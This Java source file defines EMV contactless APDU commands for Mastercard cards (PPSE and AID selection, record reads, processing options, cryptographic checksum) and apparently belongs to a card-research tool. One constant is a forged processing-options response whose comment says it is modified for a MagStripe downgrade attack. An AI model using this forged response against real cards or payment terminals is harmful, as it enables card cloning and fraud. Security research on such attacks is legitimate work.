package com.github.jthuraisamy.mastertap; public class ApduConstants { public static final byte[] UNKNOWN_ERROR_RESPONSE = {0x6F, 0x00}; public static final byte[] SUPPORTED_AID = {(byte) 0xA0, 0x00, 0x00, 0x00, 0x04, 0x10, 0x10}; public static final byte[] SELECT_PPSE = { // CLA 0x00, // INS (byte) 0xA4, // P1 0x04, // P2 0x00, // Lc 0x0E, // Data: 2PAY.SYS.DDF01 '2', 'P', 'A', 'Y', '.', 'S', 'Y', 'S', '.', 'D', 'D', 'F', '0', '1', // Le 0x00 }; public static final byte[] SELECT_AID = { // CLA 0x00, // INS (byte) 0xA4, // P1 0x04, // P2 0x00, // Lc 0x07, // Data: SUPPORTED_AID (byte) 0xA0, 0x00, 0x00, 0x00, 0x04, 0x10, 0x10, // Le 0x00 }; public static final byte[] READ_MAGSTRIPE_RECORDS = {0x00, (byte) 0xB2, 0x01, 0x0C, 0x00}; public static final byte[] GET_PROCESSING_OPTIONS = { // CLA (byte) 0x80, // INS (byte) 0xA8, // P1 0x00, // P2 0x00, // Lc (variable) 0x02, // Data (variable) (byte) 0x83, 0x00, // Le 0x00 }; public static final byte[] GET_PROCESSING_OPTIONS_RESPONSE = { // Response Message Template 0x77, 0x0A, // Application Interchange Profile (AIP) - modified for MagStripe downgrade attack (byte) 0x82, 0x02, 0x00, 0x00, // Application File Locator (byte) 0x94, 0x04, 0x08, 0x01, 0x01, 0x00, // Status Bytes for Normal Processing (byte) 0x90, 0x00 }; public static final byte[] COMPUTE_CRYPTOGRAPHIC_CHECKSUM = { // CLA (byte) 0x80, // INS 0x2A, // P1 (byte) 0x8E, // P2 (byte) 0x80, // Lc (variable) 0x04, // Data (variable) 0x00, 0x00, 0x00, 0x00, // Le 0x00 }; }